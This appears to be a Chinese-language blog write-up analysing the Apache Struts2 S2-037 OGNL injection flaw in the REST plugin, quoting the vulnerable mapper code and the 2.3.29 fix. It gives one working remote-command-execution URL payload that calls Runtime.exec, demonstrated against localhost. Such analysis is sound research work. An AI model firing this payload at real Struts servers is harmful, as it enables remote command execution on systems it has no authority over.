struts2系列漏洞 S2-037

前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

跟 S2-032 同原理,是 S2-033 的进化版本,不需要开启 DynamicMethodInvocation。


环境搭建

2.3.28.1 版本的 struts2 + Tomcat 9。

用 maven 安装依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-rest-plugin</artifactId>
<version>2.3.28.1</version>
</dependency>

漏洞分析

类似 S2-032 如果能想 mapping 中 set 一个未经过滤的字符串作为表达式,我们就可以实现命令执行。

阅读 RestActionMapper 类的 getMapping 函数,可以看到这里有很多 setMethod,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
String fullName = mapping.getName();
// Only try something if the action name is specified
if (fullName != null && fullName.length() > 0) {

// cut off any ;jsessionid= type appendix but allow the rails-like ;edit
int scPos = fullName.indexOf(';');
if (scPos > -1 && !"edit".equals(fullName.substring(scPos + 1))) {
fullName = fullName.substring(0, scPos);
}

int lastSlashPos = fullName.lastIndexOf('/');
String id = null;
if (lastSlashPos > -1) {

// fun trickery to parse 'actionName/id/methodName' in the case of 'animals/dog/edit'
int prevSlashPos = fullName.lastIndexOf('/', lastSlashPos - 1);
//WW-4589 do not overwrite explicit method name
if (prevSlashPos > -1 && mapping.getMethod() == null) {
mapping.setMethod(fullName.substring(lastSlashPos + 1));
fullName = fullName.substring(0, lastSlashPos);
lastSlashPos = prevSlashPos;
}
id = fullName.substring(lastSlashPos + 1);
}
...
}

这些函数调用都没有对输入参数进行过滤。

漏洞利用

在进入 getMapping 函数的 setMethod 之前,还有一个 dropExtension 的函数调用,用于处理 URI 后缀并返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected String dropExtension(String name, ActionMapping mapping) {
if (extensions == null) {
return name;
}
for (String ext : extensions) {
if ("".equals(ext)) {
// This should also handle cases such as /foo/bar-1.0/description. It is tricky to
// distinquish /foo/bar-1.0 but perhaps adding a numeric check in the future could
// work
int index = name.lastIndexOf('.');
if (index == -1 || name.indexOf('/', index) >= 0) {
return name;
}
} else {
String extension = "." + ext;
if (name.endsWith(extension)) {
name = name.substring(0, name.length() - extension.length());
mapping.setExtension(ext);
return name;
}
}
}
return null;
}

所以 S2-032 的 payload 需要稍加修改,而且 2.3.28.1 版本的 OGNL 禁止了逗号和括号执行多条表达式,所以要换个办法,payload:

1
http://localhost:8080/login/method/((%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)-(@java.lang.Runtime@getRuntime().exec(%23parameters.c%5b0%5d))).toString.xhtml?c=calc

漏洞修复

2.3.29 的修复,DefaultActionInvocation 类的 invokeAction 方法里解析表达式的函数改变了,从 getValue:

1
methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);

变成了 callMethod:

1
methodResult = ognlUtil.callMethod(methodName + "()", getStack().getContext(), action);

而 callMethod 中调用的是 compileAndExecuteMethod,会有 isSimpleMethod 函数的校验:

1
2
3
4
5
6
7
8
9
10
11
12
private boolean isSimpleMethod(Object tree, Map<String, Object> context) throws OgnlException {
if (tree instanceof SimpleNode) {
SimpleNode node = (SimpleNode) tree;
OgnlContext ognlContext = null;

if (context!=null && context instanceof OgnlContext) {
ognlContext = (OgnlContext) context;
}
return node.isSimpleMethod(ognlContext) && !node.isChain(ognlContext);
}
return false;
}

用于检查调用的方法是否是单独的方法调用,@ 和 . 这种链式调用就被禁止了。


参考文章:

http://blog.nsfocus.net/struts2-s2-037-vulnerability-analysis/


struts2系列漏洞 S2-037
http://yoursite.com/2020/07/29/struts2系列漏洞-S2-037/
作者
Aluvion
发布于
2020年7月29日
许可协议